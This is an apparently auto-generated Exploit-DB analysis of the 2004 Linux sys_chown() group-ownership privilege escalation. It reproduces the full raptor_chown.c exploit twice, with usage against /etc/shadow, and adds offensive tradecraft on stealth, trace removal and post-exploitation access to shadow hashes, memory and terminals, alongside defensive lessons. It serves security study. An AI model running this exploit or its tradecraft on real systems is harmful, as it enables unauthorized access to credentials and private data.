Linux Kernel `sys_chown()` Group Ownership Privilege Escalation (CVE-2004-0497)

Linux Kernel sys_chown() Group Ownership Privilege Escalation (CVE-2004-0497)
What this paper is
This paper details a vulnerability in older Linux kernel versions (specifically, versions before 2.6.7-rc3). The vulnerability lies within the sys_chown() system call, which is responsible for changing the owner and group of a file. The exploit demonstrates that on vulnerable systems, a local user can change the group ownership of a file they do not own, even on local filesystems. This can lead to privilege escalation by allowing an attacker to gain access to sensitive files or resources that are protected by group permissions.
Simple technical breakdown
The core of the issue is that the sys_chown() system call, in certain kernel versions, doesn't properly check if the user making the call has the necessary permissions to change the group ownership of a file. Normally, only the file's owner or the superuser (root) can change its ownership or group. This exploit bypasses that check for group ownership.
The exploit code uses the standard chown() C library function, which ultimately calls the sys_chown() kernel system call. By calling chown() with a target file, a new owner ID of -1 (meaning "don't change owner"), and the current user's group ID (getgid()), the exploit attempts to set the file's group to the user's own group. If the kernel doesn't enforce proper checks, this operation succeeds, effectively allowing the user to "claim" the file's group ownership.
Complete code and payload walkthrough
The provided C code is a simple program designed to exploit the sys_chown() vulnerability.
/*
* $Id: raptor_chown.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_chown.c - sys_chown missing DAC controls on Linux
* Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Unknown vulnerability in Linux kernel 2.x may allow local users to
* modify the group ID of files, such as NFS exported files in kernel
* 2.4 (CAN-2004-0497).
*
* "Basically, you can change the group of a file you don't own, but not
* of an SGID executable." -- Solar Designer (0dd)
*
* On Linux 2.6.x < 2.6.7-rc3 it's possible to change the group of files you
* don't own, even on local filesystems. This may allow a local attacker to
* perform a privilege escalation, e.g. through the following attack vectors:
*
* 1) Target /etc/shadow: on some distros (namely slackware 9.1 and debian
* 3.0, probably others) the shadow group has read access to it.
* 2) Target /dev/mem, /dev/kmem: read arbitrary memory contents.
* 3) Target /dev/hd*, /dev/sd*: read arbitrary data stored on disks.
* 4) Target /dev/tty*, /dev/pts*: snoop/execute arbitrary commands.
*
* Usage:
* $ gcc raptor_chown.c -o raptor_chown -Wall
* $ ./raptor_chown /etc/shadow
* [...]
* -rw-r----- 1 root users 500 Mar 25 12:27 /etc/shadow
*
* Vulnerable platforms:
* Linux 2.2.x (on nfs exported files, should be vuln) [untested]
* Linux 2.4.x < 2.4.27-rc3 (on nfs exported files) [tested]
* Linux 2.6.x < 2.6.7-rc3 (default configuration) [tested]
*/
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#define INFO1 "raptor_chown.c - sys_chown missing DAC controls on Linux"
#define INFO2 "Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"
int main(int argc, char **argv)
{
char cmd[256];
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s file_name\n\n", argv[0]);
exit(1);
}
/* ninpou: sys_chown no jutsu! */
if (chown(argv[1], -1, getgid()) < 0) {
switch(errno) {
case EPERM:
fprintf(stderr, "Error: Not vulnerable!\n");
break;
default:
perror("Error");
}
exit(1);
}
fprintf(stderr, "Ninpou: sys_chown no jutsu!\n");
/* print some output */
sprintf(cmd, "/bin/ls -l %s", argv[1]);
system(cmd);
exit(0);
}
// milw0rm.com [2004-12-24]Code Fragment/Block -> Practical Purpose
/* ... */(Comments): Provide context, author information, vulnerability details, affected versions, and usage examples. They are crucial for understanding the exploit's intent and history.#include <errno.h>: Includes definitions for error codes, used here to check if thechownoperation failed due to a permission error (EPERM).#include <stdio.h>: Standard input/output functions likefprintfandperror.#include <unistd.h>: Provides access to POSIX operating system API, includinggetgid()andchown().#include <stdlib.h>: Standard library functions, includingexit()andsystem().#include <sys/types.h>: Defines data types used in system calls, such asuid_tandgid_t(though not explicitly used with these types in thechowncall, they are implicitly handled).#define INFO1 ...and#define INFO2 ...: Macros to store descriptive strings about the exploit.int main(int argc, char **argv): The entry point of the C program.argc: Argument count.argv: Argument vector (array of strings).
char cmd[256];: Declares a character array to store a command string.fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);: Prints the exploit's descriptive information to standard error. This is good practice for informing the user about what the program is.if (argc != 2): Checks if exactly one command-line argument (the target filename) was provided. If not, it prints a usage message and exits.if (chown(argv[1], -1, getgid()) < 0): This is the core of the exploit.chown(argv[1], -1, getgid()): This function call attempts to change the ownership of the file specified byargv[1].argv[1]: The path to the target file.-1: This argument specifies the new owner's user ID (UID). A value of-1means "do not change the owner."getgid(): This function returns the real group ID of the calling process. The exploit attempts to set the file's group ID to this value.
< 0: Checks if thechowncall returned an error (indicated by a negative return value).
switch(errno): Ifchownfailed, this block checks the specific error code.case EPERM:: IferrnoisEPERM(Operation not permitted), it means the system is likely not vulnerable, or the user lacks even the minimal permissions to attempt this operation on the target file. The exploit prints "Error: Not vulnerable!" and exits.default: perror("Error");: For any other error, it prints a generic "Error:" followed by the system's description of the error (e.g., "No such file or directory").
fprintf(stderr, "Ninpou: sys_chown no jutsu!\n");: If thechowncall succeeded, this message is printed to standard error, indicating the exploit was successful. "Ninpou" and "no jutsu" are Japanese terms related to ninja techniques, adding a thematic flair.sprintf(cmd, "/bin/ls -l %s", argv[1]);: Constructs a command string to list the details of the modified file usingls -l.system(cmd);: Executes the constructedls -lcommand. This is used to show the user the result of thechownoperation, demonstrating that the group ownership has changed.exit(0);: Exits the program successfully.
Payload/Shellcode Segment Explanation:
There is no separate shellcode or binary payload in this exploit. The "payload" is the effect of the chown() system call itself. The C code directly invokes the vulnerable system call. The successful execution of chown(argv[1], -1, getgid()) on a vulnerable kernel is the payload, as it alters the file's metadata in an unauthorized way.
Practical details for offensive operations teams
- Required Access Level: Local access to the target system is required. This is a local privilege escalation exploit.
- Lab Preconditions:
- A Linux system running a kernel version vulnerable to this specific
sys_chown()flaw (e.g., 2.2.x on NFS, 2.4.x < 2.4.27-rc3 on NFS, or 2.6.x < 2.6.7-rc3 on local filesystems). - The target file must exist and be accessible for modification of its group ownership (even if the user doesn't own it).
- The user running the exploit must have read access to the target file to be able to
ls -lit afterward, and typically, the ability to execute arbitrary code.
- A Linux system running a kernel version vulnerable to this specific
- Tooling Assumptions:
- A C compiler (like
gcc) must be available on the target system to compile the exploit code. - Standard system utilities (
/bin/ls,getgid(),chown()) must be present and functional.
- A C compiler (like
- Execution Pitfalls:
- Kernel Version Mismatch: The most critical pitfall is targeting a system with a patched kernel. The exploit will likely fail with an
EPERMerror. - File Permissions: While the exploit targets a lack of DAC (Discretionary Access Control) checks for group ownership, the underlying filesystem permissions might still prevent the
chownoperation if the user lacks any write or change permission on the file's metadata. However, the exploit's premise is that this check is missing for group changes. - SGID Executables: As noted in the comments, this exploit is unlikely to work on SGID (Set-Group-ID) executables, as these have specific security considerations.
- NFS vs. Local: The vulnerability's behavior and exploitability can differ between NFS (Network File System) mounts and local filesystems, as noted in the paper. The exploit explicitly mentions local filesystem exploitation for 2.6.x kernels.
- Compiler Availability: If
gccis not available, the exploit code cannot be compiled on the target. An alternative would be to pre-compile it on a similar architecture and transfer the binary.
- Kernel Version Mismatch: The most critical pitfall is targeting a system with a patched kernel. The exploit will likely fail with an
- Tradecraft Considerations:
- Stealth: Compiling code on the fly can be noisy. Pre-compiling the binary and transferring it might be preferred for stealth.
- Target Selection: Identifying vulnerable kernel versions is key. This requires reconnaissance.
- Post-Exploitation: After successfully changing group ownership, the attacker needs to leverage this to achieve a higher privilege level. This might involve:
- Gaining read access to
/etc/shadow(if theshadowgroup has read permissions). - Accessing sensitive data on disk devices (
/dev/hd*,/dev/sd*). - Snooping or manipulating terminal sessions (
/dev/tty*,/dev/pts/*). - Reading kernel memory (
/dev/mem,/dev/kmem).
- Gaining read access to
- Cleanup: The
ls -lcommand is for demonstration. In a real operation, this might be removed or modified to avoid leaving obvious traces of the exploit execution.
Where this was used and when
- Approximate Year: The exploit was published in December 2004.
- Context: The paper explicitly mentions testing on Slackware 9.1 and Debian 3.0. It also notes potential vulnerability on NFS exported files in Linux 2.4.x and default configurations of Linux 2.6.x prior to version 2.6.7-rc3.
- Usage Scenarios: The paper outlines several potential attack vectors for privilege escalation:
/etc/shadowmodification: Gaining read access to password hashes if theshadowgroup has read permissions./dev/mem,/dev/kmemaccess: Reading arbitrary kernel memory./dev/hd*,/dev/sd*access: Reading raw disk data./dev/tty*,/dev/pts/*access: Snooping or executing commands in terminal sessions.
Defensive lessons for modern teams
- Kernel Patching: The most fundamental defense is to keep Linux kernels updated. This vulnerability was patched long ago, and modern systems are not affected. Regular kernel updates are critical.
- Principle of Least Privilege: Ensure that file and directory permissions are set according to the principle of least privilege. For example,
/etc/shadowshould typically only be readable byrootand theshadowgroup, and theshadowgroup should not grant broad read access to sensitive files unless absolutely necessary. - NFS Security: For systems using NFS, carefully manage export options and ensure that file permissions on exported shares are strictly controlled.
- Auditing and Monitoring: Implement system auditing to detect unusual
chownoperations, especially those targeting sensitive files or involving unexpected users. Monitoring for suspicious file metadata changes can be an indicator of compromise. - System Hardening: Employ system hardening guides and security baselines that minimize unnecessary services and reduce the attack surface. This includes disabling access to devices like
/dev/memand/dev/kmemfor unprivileged users where possible. - Intrusion Detection Systems (IDS): While this is a local exploit, IDS/IPS systems can sometimes detect patterns of activity that might precede or follow such an exploit, such as reconnaissance or attempts to access sensitive files.
ASCII visual (if applicable)
This exploit is a direct system call manipulation, so a complex architecture diagram isn't strictly necessary. However, we can visualize the interaction between the user process and the kernel.
+-------------------+ +-----------------------+
| User Process | | Linux Kernel |
| (raptor_chown.c) | | |
+-------------------+ +-----------------------+
| ^
| chown(file, -1, getgid()) | sys_chown()
|------------------------>| (Vulnerable)
| |
| | Checks permissions (INSUFFICIENTLY)
| |
| | Modifies file group ownership
| |
| | Returns success
|<------------------------|
|
| Executes "ls -l file"
|------------------------>| (System call for ls)
| |
| Displays modified file |
| permissions |
+-------------------------+Explanation: The user process makes a chown system call. On a vulnerable kernel, the sys_chown function fails to perform adequate permission checks for group ownership changes. It proceeds to modify the file's group ownership, and then returns success to the user process, which then uses ls -l to show the result.
Source references
- Paper ID: 718
- Paper Title: Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()' Group Ownership Alteration Privilege Escalation
- Author: Marco Ivaldi
- Published: 2004-12-24
- Keywords: Linux, local
- Paper URL: https://www.exploit-db.com/papers/718
- Raw Exploit URL: https://www.exploit-db.com/raw/718
- CVE: CAN-2004-0497
Original Exploit-DB Content (Verbatim)
/*
* $Id: raptor_chown.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_chown.c - sys_chown missing DAC controls on Linux
* Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Unknown vulnerability in Linux kernel 2.x may allow local users to
* modify the group ID of files, such as NFS exported files in kernel
* 2.4 (CAN-2004-0497).
*
* "Basically, you can change the group of a file you don't own, but not
* of an SGID executable." -- Solar Designer (0dd)
*
* On Linux 2.6.x < 2.6.7-rc3 it's possible to change the group of files you
* don't own, even on local filesystems. This may allow a local attacker to
* perform a privilege escalation, e.g. through the following attack vectors:
*
* 1) Target /etc/shadow: on some distros (namely slackware 9.1 and debian
* 3.0, probably others) the shadow group has read access to it.
* 2) Target /dev/mem, /dev/kmem: read arbitrary memory contents.
* 3) Target /dev/hd*, /dev/sd*: read arbitrary data stored on disks.
* 4) Target /dev/tty*, /dev/pts*: snoop/execute arbitrary commands.
*
* Usage:
* $ gcc raptor_chown.c -o raptor_chown -Wall
* $ ./raptor_chown /etc/shadow
* [...]
* -rw-r----- 1 root users 500 Mar 25 12:27 /etc/shadow
*
* Vulnerable platforms:
* Linux 2.2.x (on nfs exported files, should be vuln) [untested]
* Linux 2.4.x < 2.4.27-rc3 (on nfs exported files) [tested]
* Linux 2.6.x < 2.6.7-rc3 (default configuration) [tested]
*/
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#define INFO1 "raptor_chown.c - sys_chown missing DAC controls on Linux"
#define INFO2 "Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"
int main(int argc, char **argv)
{
char cmd[256];
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s file_name\n\n", argv[0]);
exit(1);
}
/* ninpou: sys_chown no jutsu! */
if (chown(argv[1], -1, getgid()) < 0) {
switch(errno) {
case EPERM:
fprintf(stderr, "Error: Not vulnerable!\n");
break;
default:
perror("Error");
}
exit(1);
}
fprintf(stderr, "Ninpou: sys_chown no jutsu!\n");
/* print some output */
sprintf(cmd, "/bin/ls -l %s", argv[1]);
system(cmd);
exit(0);
}
// milw0rm.com [2004-12-24]